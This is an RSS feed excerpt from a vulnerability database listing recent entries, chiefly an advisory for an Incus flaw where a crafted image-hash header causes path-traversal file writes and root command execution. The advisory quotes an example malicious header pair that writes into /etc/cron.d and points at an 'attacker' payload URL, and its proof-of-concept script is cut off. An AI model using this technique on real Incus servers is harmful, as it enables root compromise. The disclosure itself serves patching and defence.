https://cve.radiocsirt.org/rss/recent/all/10 Most recent entries from all 2026-10-04T16:05:40.248009+00:00 Vulnerability-Lookup csirt@opendfir.org python-feedgen Contains only the most 10 recent entries. https://cve.radiocsirt.org/vuln/bdu:2026-15486 bdu:2026-15486 2026-10-04T16:05:40.252392+00:00 bdu:2026-15486 https://cve.radiocsirt.org/vuln/euvd-2026-357350 EUVD-2026-357350 2026-10-04T16:05:40.252458+00:00 EUVD-2026-357350 https://cve.radiocsirt.org/vuln/fkie_cve-2026-48769 fkie_cve-2026-48769 2026-10-04T16:05:40.252489+00:00

Incus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. Version 7.2.0 patches the issue.

 https://cve.radiocsirt.org/vuln/ghsa-f6m5-xw2g-xc4x GHSA-f6m5-xw2g-xc4x — Incus has an arbitrary file write on its client due to trusted image hash 2026-10-04T16:05:40.252522+00:00

Affected: Go: github.com/lxc/incus/v7/cmd/incusd

### Summary

An arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server.

### Details

- `cmd/incusd/images.go:611-684` handles `source.type=url` by HEADing the user-supplied URL, reading `Incus-Image-Hash` and `Incus-Image-URL`, and passing them to `imageDownload()` as `Alias` and `Server`. - `cmd/incusd/daemon_images.go:91-92` defaults `fp` to the caller-controlled alias string. - `cmd/incusd/daemon_images.go:333-335` builds `destName := filepath.Join(destDir, fp)`. - `cmd/incusd/daemon_images.go:469-523` enters the `direct` protocol branch, opens `destName` with `os.Create()`, and copies the HTTP response into that file. - `cmd/incusd/daemon_images.go:528-532` validates the SHA-256 only after the file has already been created and populated. - `cmd/incusd/daemon_images.go:337-344` cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window.

A malicious image server returning something along the following will cause the arbitrary file write.

``` Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce Incus-Image-URL: http://attacker/payload ```

### PoC

The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked.

The following script was generated by an LLM.

``` #!/usr/bin/env python3 """Direct image…

 https://cve.radiocsirt.org/vuln/opensuse-su-2026:11651-1 openSUSE-SU-2026:11651-1 — incus-7.4-1.1 on GA media 2026-10-04T16:05:40.252600+00:00

incus-7.4-1.1 on GA media

 https://cve.radiocsirt.org/vuln/ubuntu-cve-2026-48769 UBUNTU-CVE-2026-48769 2026-10-04T16:05:40.252626+00:00

Affected: Ubuntu:Pro:16.04:LTS: lxd, Ubuntu:Pro:18.04:LTS: lxd, Ubuntu:20.04:LTS: lxd, Ubuntu:Pro:24.04:LTS: incus, Ubuntu:25.10: incus, Ubuntu:Pro:26.04:LTS: incus

Incus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. Version 7.2.0 patches the issue.